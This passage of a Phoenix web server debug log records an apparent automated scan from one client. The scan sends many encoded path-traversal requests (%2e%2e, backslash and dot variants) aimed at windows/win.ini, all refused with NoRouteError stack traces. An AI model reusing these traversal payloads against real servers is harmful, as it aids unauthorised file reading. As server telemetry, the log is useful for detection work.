    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:58:38.315000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53530] GET /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/winnt/win.ini
[Thu Sep  3 07:58:38.328000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53530] ** (Phoenix.Router.NoRouteError) no route found for GET /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/winnt/win.ini (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:58:38.927000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53536] GET /%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\windows\win.ini
[Thu Sep  3 07:58:38.950000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53536] ** (Phoenix.Router.NoRouteError) no route found for GET /%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\windows\win.ini (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:58:40.611000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53552] GET /%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\winnt\win.ini
[Thu Sep  3 07:58:40.638000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53552] ** (Phoenix.Router.NoRouteError) no route found for GET /%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\winnt\win.ini (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:58:41.278000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53568] GET /%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini
[Thu Sep  3 07:58:41.306000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53568] ** (Phoenix.Router.NoRouteError) no route found for GET /%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:58:41.911000 2026] [Bandit.Logger:error] [pid 2816631] [client -] ** (Bandit.HTTPError) Unsupported request target (RFC9112§3.2)
[Thu Sep  3 07:58:42.585000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53588] GET /.../.../.../.../.../.../.../.../.../windows/win.ini
[Thu Sep  3 07:58:42.624000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53588] ** (Phoenix.Router.NoRouteError) no route found for GET /.../.../.../.../.../.../.../.../.../windows/win.ini (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:58:43.035000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53590] GET /forum/register.asp
[Thu Sep  3 07:58:43.062000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53590] ** (Phoenix.Router.NoRouteError) no route found for GET /forum/register.asp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:58:44.308000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:33946] GET /.../.../.../.../.../.../.../.../.../winnt/win.ini
[Thu Sep  3 07:58:44.342000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:33946] ** (Phoenix.Router.NoRouteError) no route found for GET /.../.../.../.../.../.../.../.../.../winnt/win.ini (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:58:44.965000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:33954] GET /...\...\...\...\...\...\...\...\...\windows\win.ini
[Thu Sep  3 07:58:44.984000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:33954] ** (Phoenix.Router.NoRouteError) no route found for GET /...\...\...\...\...\...\...\...\...\windows\win.ini (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:58:45.639000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:33966] GET /...\...\...\...\...\...\...\...\...\winnt\win.ini
[Thu Sep  3 07:58:45.664000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:33966] ** (Phoenix.Router.NoRouteError) no route found for GET /...\...\...\...\...\...\...\...\...\winnt\win.ini (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:58:47.184000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:33996] GET /
[Thu Sep  3 07:58:47.185000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:33996] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 07:58:47.186000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:33996] Sent 200 in 1ms
[Thu Sep  3 07:58:47.308000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:33982] GET /..../..../..../..../..../..../..../..../..../windows/win.ini
[Thu Sep  3 07:58:47.332000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:33982] ** (Phoenix.Router.NoRouteError) no route found for GET /..../..../..../..../..../..../..../..../..../windows/win.ini (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:58:47.914000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:33998] GET /..../..../..../..../..../..../..../..../..../winnt/win.ini
[Thu Sep  3 07:58:47.935000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:33998] ** (Phoenix.Router.NoRouteError) no route found for GET /..../..../..../..../..../..../..../..../..../winnt/win.ini (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:58:48.591000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:34012] GET /....\....\....\....\....\....\....\....\....\windows\win.ini
[Thu Sep  3 07:58:48.613000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:34012] ** (Phoenix.Router.NoRouteError) no route found for GET /....\....\....\....\....\....\....\....\....\windows\win.ini (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:58:49.267000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:34020] GET /....\....\....\....\....\....\....\....\....\winnt\win.ini
[Thu Sep  3 07:58:49.309000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:34020] ** (Phoenix.Router.NoRouteError) no route found for GET /....\....\....\....\....\....\....\....\....\winnt\win.ini (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:58:49.374000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:34026] GET /sitemap.xml
[Thu Sep  3 07:58:49.405000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:34026] ** (Phoenix.Router.NoRouteError) no route found for GET /sitemap.xml (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:58:49.985000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:34038] GET /././././././../../../../../windows/win.ini
[Thu Sep  3 07:58:50.004000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:34038] ** (Phoenix.Router.NoRouteError) no route found for GET /././././././../../../../../windows/win.ini (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
